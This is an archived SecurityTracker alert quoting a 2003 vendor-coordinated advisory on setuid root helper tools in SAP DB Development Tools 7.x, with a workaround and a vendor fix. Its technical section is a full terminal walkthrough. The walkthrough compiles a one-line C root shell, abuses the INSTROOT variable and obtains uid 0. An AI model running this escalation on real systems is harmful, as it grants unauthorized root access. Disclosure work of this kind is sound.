SAP DB Helper Tools Provide Root Access to Local Users
|
|
SecurityTracker Alert ID: 1006626
|
|
CVE Reference: CAN-2003-1033
(Links to External Site)
|
Updated: Mar 16 2004
|
Original Entry Date: Apr 22 2003
|
Impact: Execution of arbitrary code via local system, Root access via local system
|
Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
|
Advisory: Strategic Reconnaissance Team
|
Version(s): 7.x
|
Description: Vulnerabilities were reported in SAP DB in some of the development tools provided with the server. A local user can obtain root access.
Secure Network Operations Strategic Reconnaissance Team reported that the 'bin/instdbmsrv' and 'bin/instlserver' helper tools perform
a 'chmod' ownership modification on the 'pgm/lserver' file, with the path set by the user-supplied $INSTROOT environment variable.
The file is left owned by root and with set user id (setuid) root privileges. A local user can create their own 'lserver' file,
set the $INSTROOT variable to point to the appropriate path where the local user's 'lserver' file resides, then run the install
tools Perl script. After that, the local user can execute their 'lserver' file with root privileges to gain root access on the
system.
A demonstration exploit transcript is provided in the Source Message.
|
Impact: A local user can gain root access on the system.
|
Solution: The vendor has described a workaround:
http://listserv.sap.com/pipermail/sapdb.sources/2003-April/000142.html
The vendor recommends
that you replace the $TOOL/bin/instdbmsrv and $TOOL/bin/instlserver files with empty shell scripts. This workaround has some limitations
which are described at the above listed URL.
|
Vendor URL: listserv.sap.com/pipermail/sapdb.sources/2003-April/000142.html (Links to External Site)
|
Cause: Access control error, State error
|
Underlying OS: Linux (Any), UNIX (Any)
|
Reported By: KF <dotslash@snosoft.com>
|
Message History:
None.
|
Source Message Contents
|
Date: Tue, 22 Apr 2003 14:00:58 -0500
From: KF <dotslash@snosoft.com>
Subject: SRT2003-04-22-1336 - SAP DB Development Tools install flaw
|
--------------040107080803060209040306
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
http://www.secnetops.biz/research
--------------040107080803060209040306
Content-Type: text/plain;
name="SRT2003-04-22-1336.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="SRT2003-04-22-1336.txt"
Secure Network Operations, Inc. http://www.secnetops.com
Strategic Reconnaissance Team research@secnetops.com
Team Lead Contact kf@secnetops.com
Our Mission:
************************************************************************
Secure Network Operations offers expertise in Networking, Intrusion
Detection Systems (IDS), Software Security Validation, and
Corporate/Private Network Security. Our mission is to facilitate a
secure and reliable Internet and inter-enterprise communications
infrastructure through the products and services we offer.
Quick Summary:
************************************************************************
Advisory Number : SRT2003-04-22-1336
Product : SAP DB Development Tools
Version : Version 7.x
Vendor : sapdb.org
Class : local
Criticality : High (to SAP servers with local user access)
Operating System(s) : Linux (other unix based?)
High Level Explanation
************************************************************************
High Level Description : Helper programs provide users with root access
What to do : chmod -s /path/to/DevTool/bin/instdbmsrv and
chmod -s /path/to/DevTool/bin/instlserver
Technical Details
************************************************************************
Proof Of Concept Status : No PoC needed for this issue.
Low Level Description :
Two helper applications that come with the SAP Development Tools use user
supplied data to chmod and chown a certain file while still running as root.
The old installation instructions which can be found in Googles cache at
http://216.239.33.100/search?q=cache:jQ-xlRsQeYAC:www.sapdb.org/develop/dev_linux.htm
told the user to install the SAP Development Tools as follows:
You Are Here: SAP DB > 7.3 > Development > Development (Linux/UNIX)
...
Installing the SAP DB Development Environment in Linux/UNIX
...
Installing the Development Environment Package
1. Download the tgz package. (sapdb-devtools-linux-i386.tgz)
Check whether your browser changes the package extension from tgz to tar
during the download. If so, rename the package to tgz before installing it.
2. Extract the archive to its final destination.
The directory DevTool is created.
3. Run the Perl script DevTools/installtools.pl.
This creates a file DevTool/iprofile.tmp.
Note:
The script expects to find the Perl and Python executables in your $PATH.
4. Execute the following commands as user root.
chown root <...>/DevTool/bin/instdbmsrv
chmod 4775 <...>/DevTool/bin/instdbmsrv
chown root <...>/DevTool/bin/instlserver
chmod 4775 <...>/DevTool/bin/instlserver
Both the DBM server and the Replication Manager server must run as user root.
The files instdbmsrv and instlserver set the appropriate permissions every
time these programs are built.
The above text has since been replaced with an identical page with step 4 omitted.
The reason step 4 was removed is expressed below.
If you followed the install instructions you would have done the following.
gentoo root # cd /usr
gentoo usr # tar -zxvf /root/sapdb-devtools-linux-i386-*.tgz
gentoo usr # chown root /usr/DevTool/bin/instdbmsrv
gentoo usr # chmod 4775 /usr/DevTool/bin/instdbmsrv
gentoo usr # chown root /usr/DevTool/bin/instlserver
gentoo usr # chmod 4775 /usr/DevTool/bin/instlserver
The install has obviously left suids laying around.
rootme@gentoo rootme $ find /usr/DevTool/ -perm -4000
/usr/DevTool/bin/instdbmsrv
/usr/DevTool/bin/instlserver
rootme@gentoo rootme $ ls -al /usr/DevTool/bin/instdbmsrv
-rwsrwxr-x 1 root 998 13089 Jan 30 08:31 /usr/DevTool/bin/instdbmsrv
rootme@gentoo rootme $ ls -al /usr/DevTool/bin/instlserver
-rwsrwxr-x 1 root 998 13274 Jan 30 08:31 /usr/DevTool/bin/instlserver
It appears that we need to set the INSTROOT env variable to use these binaries.
rootme@gentoo rootme $ /usr/DevTool/bin/instlserver
INSTROOT not set
Thats weird... I wonder what it is trying to chown.
rootme@gentoo rootme $ export INSTROOT=~
rootme@gentoo rootme $ /usr/DevTool/bin/instlserver
chown root failed
It appears to chown root $INSTROOT/pgm/lserver.
rootme@gentoo rootme $ ltrace /usr/DevTool/bin/instlserver
...
getenv("INSTROOT") = "/home/rootme"
strlen("/home/rootme") = 12
strlen("/pgm/lserver") = 12
...
strcat("/home/rootme", "/pgm/lserver") = "/home/rootme/pgm/lserve
r"
...
chown("/home/rootme/pgm/lserver", 0, 0) = -1
fprintf(0x4014e480, "chown root failed\n"chown root failed
Lets create the file that it wants to chown and check the results.
rootme@gentoo rootme $ mkdir pgm
rootme@gentoo rootme $ touch /home/rootme/pgm/lserver
rootme@gentoo rootme $ ls -al /home/rootme/pgm/lserver
-rw-r--r-- 1 rootme users 0 Apr 22 12:02 /home/rootme/pgm/lserver
As you can see the program becomes root owned as well as suid.
rootme@gentoo rootme $ /usr/DevTool/bin/instlserver
rootme@gentoo rootme $ ls -al /home/rootme/pgm/lserver
-rwsrwxrwx 1 root root 0 Apr 22 12:02 /home/rootme/pgm/lserver
If we ltrace the program as root we can see it is obvious what caused this.
gentoo root # export INSTROOT=/home/rootme
gentoo root # ltrace /usr/DevTool/bin/instlserver
...
chown("/home/rootme/pgm/lserver", 0, 0) = 0
chmod("/home/rootme/pgm/lserver", 04777) = 0
To take advantage of this flaq simply create a trojaned $INSTROOT/lserver
rootme@gentoo rootme $ echo main\(\)\{setuid\(0\)\;setgid\(0\)\;system\(\"/bin/sh\"\)\;\} >
lserver.c
rootme@gentoo rootme $ cc -o pgm/lserver lserver.c
rootme@gentoo rootme $ ls -al pgm/lserver
-rwxr-xr-x 1 rootme users 5344 Apr 22 12:51 pgm/lserver
Take root by abusing the above mentioned flaw.
rootme@gentoo rootme $ /usr/DevTool/bin/instlserver
rootme@gentoo rootme $ ls -al pgm/lserver
-rwsrwxrwx 1 root root 5344 Apr 22 12:51 pgm/lserver
rootme@gentoo rootme $ pgm/lserver
sh-2.05b# id
uid=0(root) gid=0(root) groups=100(users)
This can be modified to work with DevTool/bin/instdbmsrv as well
rootme@gentoo rootme $ echo main\(\)\{setuid\(0\)\;setgid\(0\)\;system\(\"/bin/sh\"\)\;\} >
dbmsrv.c
rootme@gentoo rootme $ cc -o pgm/dbmsrv dbmsrv.c
rootme@gentoo rootme $ ls -al pgm/dbmsrv
-rwxr-xr-x 1 rootme users 5343 Apr 22 12:54 pgm/dbmsrv
rootme@gentoo rootme $ /usr/DevTool/bin/instdbmsrv
rootme@gentoo rootme $ ls -al pgm/dbmsrv
-rwsrwxrwx 1 root root 5343 Apr 22 12:54 pgm/dbmsrv
rootme@gentoo rootme $ pgm/dbmsrv
sh-2.05b# id
uid=0(root) gid=0(root) groups=100(users)
Patch or Workaround : chmod -s /path/to/DevTool/bin/instdbmsrv and
chmod -s /path/to/DevTool/bin/instlserver
SAP made it clear that normal users should not have local access to the SAP server
when I pointed out a previous security issue. The same logic applys here however
this does not lessen the result of this problem.
I would also like to state that SAP has gone out of the way to make security
contacts easier for SAP and non-SAP users. This effort was primarily the work
of Daniel Dittmar.
Vendor Status : Vendor has responded and applied a fix to the problem.
http://listserv.sap.com/pipermail/sapdb.sources/2003-April/000142.html
To make reporting similar problems easier, every page on www.sapdb.org now has
a link 'Contact Info', the corresponding page http://www.sapdb.org/7.4/sap_db_contact.htm
contains an entry labled 'Security'.
Bugtraq URL : to be assigned
------------------------------------------------------------------------
This advisory was released by Secure Network Operations,Inc. as a matter
of notification to help administrators protect their networks against
the described vulnerability. Exploit source code is no longer released
in our advisories. Contact research@secnetops.com for information on how
to obtain exploit information.
--------------040107080803060209040306--
|
|
